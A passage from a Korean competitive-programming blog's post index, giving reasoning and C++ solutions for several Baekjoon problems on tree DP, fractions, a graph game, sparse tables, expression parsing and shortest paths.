순서대로의 초기 값이며, 값이 유일할 필요는 없습니다.\n다음 $n - 1$개의 줄 각각에 두 정수 $a$와 $b$ ($1 \\leq a, b \\leq n, a \\neq b$)가 주어지며, 이는 노드 $a$와 $b$ 사이의 트리 간선을 나타냅니다. 이 간선들이 트리를 이루는 것이 보장됩니다.\n출력 트리의 모든 인접 노드 쌍을 GCD-조화롭게 만드는 최소 총 비용을 하나의 정수로 출력하십시오.\n🧐 관찰 및 접근 어떤 트리가 있고, 간선 양쪽의 정점의 최대공약수가 1이 아니어야한다. 일단 예제그림을 그려보자. ![[Drawing 2026-02-20 09.13.18.excalidraw]] 아하, 루트를 6으로 바꾸면 해결된다. 일단 GCD가 1만 아니면 되므로, 어떤 소수 $p$에 대해 생각했다면 $p^2, p^3, \\cdots$에 대해서는 생각할 필요가 없다. 근데 각 소수에 대해서 다 고려해야할 때가 있나? 루트가 $1$, 밑에 리프들이 $2, 3, 5, 7, 11, \\cdots$인 경우를 생각해보자. 이때, 루트를 저 소수들의 곱으로 나타내는거보다, 그냥 모든 트리를 $2$로 고정해버리는게 더 싸다. 같은 상황에서, 답은 $2n$을 넘길 수 없다. 다시 말해 정점 하나의 값은 $2n \\leq 10000$ 이하이다. $100$ 이하의 소수의 개수는 25개이다. 물론 100이 넘는 소수도 고려할 필요가 없다. $10000$ 이하의 Square-Free number은 6084개이다. 왠지 이걸로 tree-DP가 가능할 것 같기도 한데. $2 \\times 3 \\times 5 \\times 7 \\times 11 \\times 13 \u003e 10000$이므로, 약수는 최대 5개 존재하니까 전이식은 최대 32번 안쪽인것같다. 그러면 $O(n \\times 6084 \\times 32)$ 정도로 돌지 않을까? 9.7억인데 4초니까 돌만해보인다. 실제로는 더 적을거같기도 하고.. DP 전이식도 잘 세워보자. 루트 기준에서는 $\\text{DP}[cur][cval] = \\sum{\\min_{nval | cval}{DP[nxt][nval]}}$ 으로 할 수 있는듯? 근데 이게 배수관계로 가면 $2$의 배수인 Square-Free number은 2027개인데, 이래도 시간복잡도가 보장이 되나? 아 근데, 수들이 $2 - 6 - 3 - 10$ 이런식으로 연결될 수도 있다.. 약수/배수관계로만 생각하는게 조금 곤란하네. 그렇다고 gcd가 1이 아닌 관계의 개수를 세면 너무 많아보인다. DP를 두가지로 세워볼까? 결국 $\\text{DP}[cur][cval]$을 구했다면, 그 뒤에 갱신할때는 $nval|cval$ 인것들만 세면 되니까, 결국 소수에 대해서만 궁금하다. 저걸 구한 다음에는 소수 $p | cval$들에 대해 최솟값을 갱신해두고, 걔네들을 돌기만 하는거지. 💻 풀이 코드 (C++): void solve(){ vector\u0026lt;bool\u0026gt; isPrime(101, true); isPrime[0] = isPrime[1] = false; rep(i, 2, 101) for(int j = i*i; j \u0026lt; 101; j += i) isPrime[j] = false; vector\u0026lt;int\u0026gt; primes; rep(i, 2, 101) if(isPrime[i]) primes.push_back(i); unordered_map\u0026lt;int, int\u0026gt; primeToIdx; rep(i, 0, primes.size()) primeToIdx[primes[i]] = i; vector\u0026lt;int\u0026gt; squareFree; rep(i, 2, 10001){ bool isSquareFree = true; for(auto p: primes){ if(p*p \u0026gt; i) break; if(i % (p*p) == 0){ isSquareFree = false; break; } } if(isSquareFree) squareFree.push_back(i); } unordered_map\u0026lt;int, int\u0026gt; sqfToIdx; rep(i, 0, squareFree.size()) sqfToIdx[squareFree[i]] = i; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; divs(squareFree.size()); rep(i, 0, squareFree.size()) for(auto p: primes) if(squareFree[i] % p == 0){ divs[i].push_back(primeToIdx[p]); } int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;int\u0026gt; V(N); rep(i, 0, N) cin \u0026gt;\u0026gt; V[i]; rep(i, 0, N) for(auto p: primes) while(V[i] % (p*p) == 0) V[i] /= p; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; links(N); rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; u--; v--; links[u].push_back(v); links[v].push_back(u); } vector\u0026lt;int\u0026gt; DP(N, 1e9); vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; DP2(N, vector\u0026lt;int\u0026gt;(primes.size(), 1e9)); function\u0026lt;void(int, int)\u0026gt; dfs = [\u0026amp;](int cur, int par) { for(auto nxt: links[cur]) if(nxt != par) dfs(nxt, cur); rep(i, 0, squareFree.size()){ int cost = 0; if(V[cur] != squareFree[i]) cost = squareFree[i]; for(auto nxt: links[cur]){ if(nxt == par) continue; int tmp = 1e9; for(auto pidx: divs[i]) tmp = min(tmp, DP2[nxt][pidx]); cost += tmp; } for(auto pidx: divs[i]) DP2[cur][pidx] = min(DP2[cur][pidx], cost); } DP[cur] = *min_element(all(DP2[cur])); }; int ans = 1e9; dfs(0, -1); cout \u0026lt;\u0026lt; DP[0] \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-20T00:00:00Z","permalink":"/posts/algorithm/ps/260220_algorithm_boj-25229-gcd-harmony/","title":"BOJ 25229 GCD Harmony"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/30449 🧐 관찰 및 접근 $R(n)$의 길이는 몇일까? $R(1) = 2$이고, $R(k) = R(k-1) + k$와 서로소인 자연수의 개수 인 것 같다. 오일러 피함수의 부분합 개수랑 같다. 암튼 나이브하게 돌려보니, 7600459개가 나온다. 이걸 0.5초안에 이걸 정렬하고 찾을?수?있을까? ㅋㅋ 수열이 좌우로 대칭인걸 고려하면 380만개정도만 정렬해도 될거같긴 한데\u0026hellip; 그래도 빡세보인다. 0.5초라서 흠.. 답에 대한 이분탐색이 될까? 사실 깔끔하게 이분탐색 하기 위해선, 정수조건으로 바꾸려면 1~5000의 LCM을 구해야 한다.. 진짜 개에바 $10^{-4}$에 대한 정밀도까지만 하면 되지 않을까? 해봤자 가장 작은 수는 $\\frac{1}{5000}$이니까\u0026hellip; 라기엔 두 분수의 차는 결국 더 빡세지네. 해봤자 $\\frac{1}{5000*4999}$인거같긴 한데\u0026hellip; 아니 잠깐만, 생각해보니까 1~5000에 대해서 따로 정렬하면 시간복잡도가 꽤나 줄어드는것같다. 이렇게 해서 답에 대한 이분탐색을 해볼까..? 다 실패하고, nth_element와 short와 pragma Ofast와 Clang까지 섞은 최적화로 풀엇다\u0026hellip; 하 이게 뭐하는 문제냐 ㄱ- 헉, 앞에 최대공약수를 구하는 부분을 반복문으로 전처리하면 훨씬 빠르게 돈다. 거기가 병목이었다니 💻 풀이 코드 (C++): void solve(){ int N, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K; vector\u0026lt;pair\u0026lt;short,short\u0026gt;\u0026gt; v; v.reserve(N * N / 2); v.push_back({0, 1}); v.push_back({1, 1}); rep(i, 1, N+1) rep(j, i+1, N+1){ if(__gcd(i, j) != 1) continue; v.push_back({(short)i, (short)j}); } int sz = (int)v.size(); if(K*2 \u0026gt; sz){ K = sz - K + 1; nth_element(v.begin(), v.begin() + K - 1, v.end(), [](auto\u0026amp; a, auto\u0026amp; b){ return a.first * b.second \u0026gt; a.second * b.first; }); } else { nth_element(v.begin(), v.begin() + K - 1, v.end(), [](auto\u0026amp; a, auto\u0026amp; b){ return a.first * b.second \u0026lt; a.second * b.first; }); } cout \u0026lt;\u0026lt; v[K-1].first \u0026lt;\u0026lt; \u0026#34; \u0026#34; \u0026lt;\u0026lt; v[K-1].second \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-19T00:00:00Z","permalink":"/posts/algorithm/ps/260219_algorithm_boj-30449-reafy-%EC%88%98%EC%97%B4/","title":"BOJ 30449 Reafy 수열"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/32528 🧐 관찰 및 접근 오늘도 찾아온 게임이론 문제이다. 주어진 그래프는 함수형 그래프이다. 함수형 그래프는 사이클 하나와, 해당 사이클로 들어가는 간선들의 모양을 가진다. 정점은 $N$개, 간선은 $N$개이다. 일단 선공 $A$가 $B$의 앞 칸을 끊어버렸다고 가정하자. 함수형 그래프이므로 앞 칸은 언제나 존재한다. 후공 $B$는 자신의 이웃한 정점으로 이동할 수가 없다. 따라서, 어떤 정점 하나를 삭제하는 수밖에 없다. 선공 $A$의 턴의 경우의 수를 줄이기 위해, 해당 정점도 $A$의 앞 칸이었다고 가정하자. 그렇다면 현재 남은 정점은 $N-2$개이므로, $N$이 짝수일때는 후공이, 홀수일때는 선공이 이기게 된다. 그렇다면 $N$이 짝수일때는 선공이 $B$의 앞칸을 끊는것이 손해인가? 시작 위치에서 $B$가 $A$의 앞에 있었다고 생각해보자. 그렇다면 $A$는 두번째 자신의 턴에서 $B$의 위치로 이동할 수 있고, 이후 삭제할 수 있는 정점의 개수는 $N-1$개, 턴은 $B$의 턴이다. 따라서 이때는 선공이 승리한다. 따라서, $N$이 홀수이거나, $N$이 짝수이면서 $B$가 $A$의 앞 칸이라면 선공이 무조건 승리할 수 있다. $N$이 짝수고 $B$가 $A$의 앞칸이 아니라면 라면 선공이 어떻게 하면 좋을까? 상대한테 턴을 넘기는 편이 유리할 것 같다. 그러면 $A$가 한칸 앞으로 간다고 해보자. 이때 $B$는 또한 $A$를 억제하기 위해 위와 같은 행동을 할 수 있고, 이때 $N$은 짝수로 고정되어있으므로 $A$가 $B$의 앞칸이라면 후공이 무조건 승리할 수 있고, 그렇지 않다면 $B$도 한칸 앞으로 갈 것이다. 이는 사이클 안에 갇힐때까지 반복된다! 풀이를 요약해보자. 둘이 같은 칸에 있을때는, 그때부터 N-1개 정점 지우기 게임이 된다. $N$이 홀수일때는 나중에 행동하는 쪽이, 짝수일때는 먼저 행동하는 쪽이 이기게 된다. 상대의 앞 칸을 지울 수 있고, $N$이 홀수라면 바로 들어가서 삭제를 거는게 이득이다. 아니라면 이동을 할텐데, 그 이동을 한 결과 상대의 승리조건을 만족시켜버린다면 그냥 아무 정점이나 지워버려서 그런 상황이 오지 못하게 만들자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; int A, B; cin \u0026gt;\u0026gt; A \u0026gt;\u0026gt; B; vector\u0026lt;int\u0026gt; nxt(N+1); rep(i, 1, N+1) cin \u0026gt;\u0026gt; nxt[i]; set\u0026lt;tuple\u0026lt;int, int, bool\u0026gt;\u0026gt; st; st.insert({A, B, true}); bool Aturn = true; while(true){ // cout \u0026lt;\u0026lt; A \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; B \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; Aturn \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; if(A == B){ if(N%2) cout \u0026lt;\u0026lt; (Aturn ? \u0026#34;second\u0026#34; : \u0026#34;first\u0026#34;); else cout \u0026lt;\u0026lt; (Aturn ? \u0026#34;first\u0026#34; : \u0026#34;second\u0026#34;); return; } if(Aturn \u0026amp;\u0026amp; (nxt[B] != A \u0026amp;\u0026amp; N%2)){ cout \u0026lt;\u0026lt; \u0026#34;first\u0026#34;; return; } if(!Aturn \u0026amp;\u0026amp; (nxt[A] != B \u0026amp;\u0026amp; N%2)){ cout \u0026lt;\u0026lt; \u0026#34;second\u0026#34;; return; } if(Aturn \u0026amp;\u0026amp; nxt[nxt[A]] != B \u0026amp;\u0026amp; N%2) N--; else if(!Aturn \u0026amp;\u0026amp; nxt[nxt[B]] != A \u0026amp;\u0026amp; N%2) N--; else if(Aturn) A = nxt[A]; else B = nxt[B]; Aturn = !Aturn; if(st.count({A, B, Aturn})){ cout \u0026lt;\u0026lt; \u0026#34;draw\u0026#34;; return; } st.insert({A, B, Aturn}); } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-19T00:00:00Z","permalink":"/posts/algorithm/ps/260219_algorithm_boj-32528-%EC%9B%94%EA%B0%84-%ED%9B%88%EC%88%98%ED%9A%8C/","title":"BOJ 32528 월간 훈수회"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/17435 🧐 관찰 및 접근 함수 $f$가 주어질 때, 최대 $500\\,000$번 합성한 값을 구해야 한다. 나이브하게 계산하면 $O(QN)$으로 시간초과다. 전체를 전처리해두기엔, 공간복잡도가 $O(mN)$으로 너무 커진다. 따라서 적당히 전처리를 해두자. 이는 LCA에서 했던것과 같이, 희소 배열로 가능할 것 같다. 각 정의역에 대해 $1$번, $2$번, $4$번, $\\cdots 2^k$번 합성한 결과를 저장해서 쿼리를 처리하자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; f(20, vector\u0026lt;int\u0026gt;(N+1)); rep(i, 1, N+1) cin \u0026gt;\u0026gt; f[0][i]; rep(k, 1, 20) rep(i, 1, N+1) f[k][i] = f[k-1][f[k-1][i]]; int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ int n, x; cin \u0026gt;\u0026gt; n \u0026gt;\u0026gt; x; rep(k, 0, 20) if(n \u0026amp; (1 \u0026lt;\u0026lt; k)) x = f[k][x]; cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-18T00:00:00Z","permalink":"/posts/algorithm/ps/260218_algorithm_boj-17435-%ED%95%A9%EC%84%B1%ED%95%A8%EC%88%98%EC%99%80-%EC%BF%BC%EB%A6%AC/","title":"BOJ 17435 합성함수와 쿼리"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/4817 🧐 관찰 및 접근 최대한 괄호를 제거해야 한다. 괄호 안에 덧셈이 없다면, 해당 괄호는 제거해도 된다. 어떨 때 괄호를 살려야 하는가? $((x+y)z)$와 같이, 어떤 괄호로 이루어진 덧셈이 포함된 식과 어떤 식이 곱해지는 경우 남겨야 한다. 라곤 했지만\u0026hellip; 구현이 만만치 않다. 이를 위해 추상 구문 트리 라는것을 보통 사용한다고 한다. 노드단위로 연산을 나타내자. 이때 파싱 과정에서, 연산 우선순위가 낮은걸 먼저 해야한다. (상위 노드가 먼저 계산되므로) 따라서 덧셈 -\u0026gt; 곱셈 -\u0026gt; 괄호의 순서로 진행하자. 쉽지 않은데.. 이런 생각보다 파서를 만드는 과정이 재밌다. 전산언어학 문제를 좀더 풀어보도록 하자. 💻 풀이 코드 (C++): struct Node{ char type; char var; Node *left, *right; Node(char c){ // var type = \u0026#39;v\u0026#39;; var = c; left = right = nullptr; } Node(char op, Node *l, Node *r){ // op type = \u0026#39;o\u0026#39;; var = op; left = l; right = r; } }; struct AST{ Node *root; AST(Node *r) : root(r) {} string emit(Node *n, char parOp){ if(n-\u0026gt;type == \u0026#39;v\u0026#39;) return string(1, n-\u0026gt;var); if(n-\u0026gt;var == \u0026#39;+\u0026#39;){ string L = emit(n-\u0026gt;left, \u0026#39;+\u0026#39;); string R = emit(n-\u0026gt;right, \u0026#39;+\u0026#39;); if(parOp == \u0026#39;*\u0026#39;) return \u0026#34;(\u0026#34; + L + \u0026#34;+\u0026#34; + R + \u0026#34;)\u0026#34;; return L + \u0026#34;+\u0026#34; + R; } return emit(n-\u0026gt;left, \u0026#39;*\u0026#39;) + emit(n-\u0026gt;right, \u0026#39;*\u0026#39;); } string toString(){ return emit(root, 0); } }; struct Parser{ const string \u0026amp;S; int pos; Parser(const string \u0026amp;s): S(s), pos(0){} Node *parseVal(){ if(S[pos] == \u0026#39;(\u0026#39;){ pos++; Node *node = parsePlus(); pos++; return node; } return new Node(S[pos++]); } Node *parseMul(){ Node *node = parseVal(); while(pos \u0026lt; (int)S.size() \u0026amp;\u0026amp; (islower(S[pos]) || S[pos] == \u0026#39;(\u0026#39;)){ Node *right = parseVal(); node = new Node(\u0026#39;*\u0026#39;, node, right); } return node; } Node *parsePlus(){ Node *node = parseMul(); while(pos \u0026lt; (int)S.size() \u0026amp;\u0026amp; S[pos] == \u0026#39;+\u0026#39;){ pos++; Node *right = parseMul(); node = new Node(\u0026#39;+\u0026#39;, node, right); } return node; } AST parse(){ return AST(parsePlus()); } }; void solve(){ string S; while(cin \u0026gt;\u0026gt; S){ Parser parser(S); AST ast = parser.parse(); cout \u0026lt;\u0026lt; ast.toString() \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-18T00:00:00Z","permalink":"/posts/algorithm/ps/260218_algorithm_boj-4817-%EA%B4%84%ED%98%B8/","title":"BOJ 4817 괄호"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1504 🧐 관찰 및 접근 $a$에서 $b$까지 가되, $v_1, v_2$를 무조건 지니야 한다. 이는 $a \\rightarrow v_1 \\rightarrow v_2 \\rightarrow b$ 혹은 $a \\rightarrow v_2 \\rightarrow v_1 \\rightarrow b$ 두가지중 하나이지 않을까? 각 움직임에 대해 나이브하게 다익스트라를 수행해도 6번밖에 안되므로, 그냥 돌리자. 경로가 없을 수 있음에 유의하자. 💻 풀이 코드 (C++): int N, E; vector\u0026lt;pii\u0026gt; links[810]; int get_dist(int s, int e){ vector\u0026lt;int\u0026gt; dist(N+1, 1e9); priority_queue\u0026lt;pii, vector\u0026lt;pii\u0026gt;, greater\u0026lt;pii\u0026gt;\u0026gt; pq; dist[s] = 0; pq.push({0, s}); while(!pq.empty()){ auto [d, u] = pq.top(); pq.pop(); if(dist[u] \u0026lt; d) continue; if(u == e) return d; for(auto [v, w]: links[u]){ if(dist[v] \u0026gt; d+w){ dist[v] = d+w; pq.push({dist[v], v}); } } } return 1e8; } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; E; rep(i, 0, E){ int u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; links[u].push_back({v, w}); links[v].push_back({u, w}); } int v1, v2; cin \u0026gt;\u0026gt; v1 \u0026gt;\u0026gt; v2; int ans = min(get_dist(1, v1) + get_dist(v1, v2) + get_dist(v2, N), get_dist(1, v2) + get_dist(v2, v1) + get_dist(v1, N)); if(ans \u0026gt;= 1e8) cout \u0026lt;\u0026lt; -1; else cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-1504-%ED%8A%B9%EC%A0%95%ED%95%9C-%EC%B5%9C%EB%8B%A8-%EA%B2%BD%EB%A1%9C/","title":"BOJ 1504 특정한 최단 경로"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1865 🧐 관찰 및 접근 무향인 도로와 유향인 웜홀이 있고, 음수 사이클이 있는지를 체크하는 문제이다. $N \\leq 500$으로 크지 않으므로, 플로이드 워셜도 충분히 돈다. 이건 $O(N^3)$ 하지만 벨만포드로 $O(VE)$로 더 빠르게도 풀 수 있다. 벨만포드가 된다는건 SPFA로도 더 빠르게 풀 수 있다! 다 해본 결과, 플로이드워셜이 496ms, 벨만포드가 24ms, SPFA가 12ms가 나왔다. 💻 풀이 코드 (C++): void solve(){ int N, M, W; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; W; vector\u0026lt;vector\u0026lt;ll\u0026gt;\u0026gt; cost(N, vector\u0026lt;ll\u0026gt;(N, 1e15)); rep(i, 0, N) cost[i][i] = 0; rep(i, 0, M){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; u--; v--; cost[u][v] = min(cost[u][v], w); cost[v][u] = min(cost[v][u], w); } rep(i, 0, W){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; u--; v--; cost[u][v] = min(cost[u][v], -w); } rep(k, 0, N) rep(i, 0, N) rep(j, 0, N) cost[i][j] = min(cost[i][j], cost[i][k] + cost[k][j]); rep(i, 0, N) if(cost[i][i] \u0026lt; 0){ cout \u0026lt;\u0026lt; \u0026#34;YES\\n\u0026#34;; return; } cout \u0026lt;\u0026lt; \u0026#34;NO\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\nvoid solve(){ int N, M, W; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; W; vector\u0026lt;vector\u0026lt;pll\u0026gt;\u0026gt; links(N); rep(i, 0, M){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; u--; v--; links[u].push_back({v, w}); links[v].push_back({u, w}); } rep(i, 0, W){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; u--; v--; links[u].push_back({v, -w}); } vector\u0026lt;ll\u0026gt; dist(N, 0); dist[0] = 0; bool negCycle = false; rep(i, 0, N){ for(int u = 0; u \u0026lt; N; u++){ for(auto [v, w] : links[u]){ if(dist[v] \u0026gt; dist[u] + w){ dist[v] = dist[u] + w; if(i == N-1) negCycle = true; } } } } if(negCycle) cout \u0026lt;\u0026lt; \u0026#34;YES\\n\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;NO\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\nvoid solve(){ int N, M, W; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; W; vector\u0026lt;vector\u0026lt;pll\u0026gt;\u0026gt; links(N); rep(i, 0, M){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; u--; v--; links[u].push_back({v, w}); links[v].push_back({u, w}); } rep(i, 0, W){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; u--; v--; links[u].push_back({v, -w}); } // SPFA vector\u0026lt;ll\u0026gt; dist(N, 0); vector\u0026lt;int\u0026gt; cnt(N, 0); vector\u0026lt;bool\u0026gt; inQ(N, false); queue\u0026lt;int\u0026gt; Q; rep(i, 0, N){ Q.push(i); inQ[i] = true; cnt[i]++; } bool negCycle = false; while(!Q.empty() \u0026amp;\u0026amp; !negCycle){ int cur = Q.front(); Q.pop(); inQ[cur] = false; for(auto [nxt, w]: links[cur]){ if(dist[nxt] \u0026lt;= dist[cur] + w) continue; dist[nxt] = dist[cur] + w; if(!inQ[nxt]){ Q.push(nxt); inQ[nxt] = true; cnt[nxt]++; if(cnt[nxt] \u0026gt;= N){ negCycle = true; break; } } } } if(negCycle) cout \u0026lt;\u0026lt; \u0026#34;YES\\n\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;NO\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-1865-%EC%9B%9C%ED%99%80/","title":"BOJ 1865 웜홀"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/21940 🧐 관찰 및 접근 일단 가중치가 있는 방향 그래프인데.. 어떤 도시 $X$에 대해 준형이와 친구들이 살고있는 모든 도시에 대해 왕복 시간을 구할 수 있을까? $N$이 충분히 작으므로, 플로이드 워셜을 사용해서 모든 도시간의 이동시간을 구할 수 있겠다. 이후에는 모든 도시 $X$에 대해 $K$번의 계산으로 왕복시간들의 최댓값을 구할 수 있다. 시간복잡도 $O(N^3 + NK)$로 풀릴 것 같다! 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 0, N) rep(j, 0, N) cost[i][j] = 1e15; rep(i, 0, N) cost[i][i] = 0; rep(i, 0, M){ int u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; u--; v--; cost[u][v] = w; } rep(k, 0, N) rep(i, 0, N) rep(j, 0, N) cost[i][j] = min(cost[i][j], cost[i][k] + cost[k][j]); cin \u0026gt;\u0026gt; K; vector\u0026lt;int\u0026gt; v(K), ans; rep(i, 0, K) cin \u0026gt;\u0026gt; v[i]; ll mn = 1e15; rep(X, 0, N){ ll tmp = 0; for(auto c: v) tmp = max(tmp, cost[X][c-1] + cost[c-1][X]); if(tmp \u0026lt; mn){ mn = tmp; ans.clear(); } if(tmp == mn) ans.push_back(X+1); } for(auto c: ans) cout \u0026lt;\u0026lt; c \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-21940-%EA%B0%80%EC%9A%B4%EB%8D%B0%EC%97%90%EC%84%9C-%EB%A7%8C%EB%82%98%EA%B8%B0/","title":"BOJ 21940 가운데에서 만나기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/23807 🧐 관찰 및 접근 무향그래프고, 정해진 정점중 세개 이상의 정점을 지나야 한다.. 이걸 경로로 나타내면 $X \\rightarrow P_i \\rightarrow P_j \\rightarrow P_k \\rightarrow Z$이 될 것이다. 이때, $X$에서 시작한 경로와 $Z$에서 시작한 최단 경로는 다익스트라로 쉽게 계산할 수 있다. 이제 가운데 $P_j$에서 시작한 최단 경로를 구해서, 각 $P_i, P_k$에 대해 구하면 되겠다. $O(V+E)$의 다익스트라를 $P \\leq 100$번 돌려야 한다. 조금 무거운 4천만정도일거같은데, 6초제한이니 잘 돌것같다. 💻 풀이 코드 (C++): void solve(){ ll N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; vector\u0026lt;vector\u0026lt;pll\u0026gt;\u0026gt; links(N+1); rep(i, 0, M){ ll u, v, w; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v \u0026gt;\u0026gt; w; links[u].push_back({v, w}); links[v].push_back({u, w}); } int X, Z; cin \u0026gt;\u0026gt; X \u0026gt;\u0026gt; Z; vector\u0026lt;ll\u0026gt; dist_fromX(N+1, 1e18), dist_fromZ(N+1, 1e18); auto dijkstra = [\u0026amp;](ll start, vector\u0026lt;ll\u0026gt; \u0026amp;dist){ priority_queue\u0026lt;pll, vector\u0026lt;pll\u0026gt;, greater\u0026lt;pll\u0026gt;\u0026gt; pq; dist[start] = 0; pq.push({0, start}); while(!pq.empty()){ auto [cd, cur] = pq.top(); pq.pop(); if(cd \u0026gt; dist[cur]) continue; for(auto [nxt, w] : links[cur]){ ll nd = cd + w; if(nd \u0026lt; dist[nxt]){ dist[nxt] = nd; pq.push({nd, nxt}); } } } }; dijkstra(X, dist_fromX); dijkstra(Z, dist_fromZ); int P; cin \u0026gt;\u0026gt; P; vector\u0026lt;int\u0026gt; cand(P); rep(i, 0, P) cin \u0026gt;\u0026gt; cand[i]; ll ans = 1e18; for(int c2: cand){ vector\u0026lt;ll\u0026gt; dist_fromC(N+1, 1e18); dijkstra(c2, dist_fromC); for(int c1: cand) for(int c3: cand){ if(c1 == c2 || c2 == c3 || c1 == c3) continue; ans = min(ans, dist_fromX[c1] + dist_fromC[c1] + dist_fromC[c3] + dist_fromZ[c3]); } } if(ans \u0026gt;= 1e18) ans = -1; cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-17T00:00:00Z","permalink":"/posts/algorithm/ps/260217_algorithm_boj-23807-%EB%91%90-%EB%8B%A8%EA%B3%84-%EC%B5%9C%EB%8B%A8-%EA%B2%BD%EB%A1%9C-3/","title":"BOJ 23807 두 단계 최단 경로 3"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/32655 🧐 관찰 및 접근 시작 